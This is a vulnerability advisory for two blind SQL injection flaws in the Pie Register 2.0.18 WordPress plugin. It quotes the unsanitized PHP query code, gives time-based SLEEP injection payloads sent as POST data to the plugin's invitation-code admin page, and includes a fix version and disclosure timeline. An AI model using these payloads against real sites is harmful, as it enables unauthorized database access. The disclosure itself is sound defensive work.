Details
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Software: Pie Register
Version: 2.0.18
Homepage: https://github.com/GTSolutions/Pie-Register
CVE: CVE-2015-7682 (Pending)
CVSS: 3.5 (Low; AV:N/AC:M/Au:S/C:P/I:N/A:N)
CWE: CWE-89

Description
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Two blind SQL injection vulnerabilities in Pie Register 2.0.18 allow SQL injection by admins leading to loss of database confidentiality. Pie Register is a WordPress plugin with over 10,000 active installs.

Vulnerabilities
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The vulnerabilities are due to the unsanitized POST parameters invitaion_code_bulk_option and invi_del_id:

Injection 1:
>From  pie-register/pie-register.php:
576: $this->delete_invitation_codes($_POST['select_invitaion_code_bulk_option']);
. . .
3521: $sql = "DELETE FROM `$codetable` WHERE `id` IN ( ".$ids." )";

Injection 2:
>From pie-register/pie-register.php:
1941: if($wpdb->query("DELETE FROM ".$codetable." WHERE id = ".$_POST['invi_del_id']))

Proof of concept
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URL: http://localhost/wordpress/wp-admin/admin.php?page=pie-invitation-codes

Injection 1:
POST data:
select_invitaion_code_bulk_option=1)%20OR%20SLEEP(15)%3d0%20LIMIT%201--&invitaion_code_bulk_option=delete&btn_submit_invitaion_code_bulk_option=Apply

Injection 2:
POST data:
piereg_invitation_nonce=66e7e6383d&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dpie-invitation-codes&invi_del_id=1%20OR%20SLEEP(15)%3d0%20LIMIT%201--

Remediation
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Upgrade the plugin to version 2.0.19 or higher.

Timeline
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2015-09-23: Discovered
2015-09-24: Contacted vendor via website support form
2015-09-28: Vendor supplied security contact email
2015-09-28: Requested CVE
2015-09-30: Report sent to vendor and wordpress.org
2015-10-02: Vendor releases version 2.0.19 on Github - confirmed fixed
2015-10-12: Public Disclosure

References
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[1] http://codex.wordpress.org/Class_Reference/wpdb#Protect_Queries_Against_SQL_Injection_Attacks

Discovered by
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David Moore @grajagandev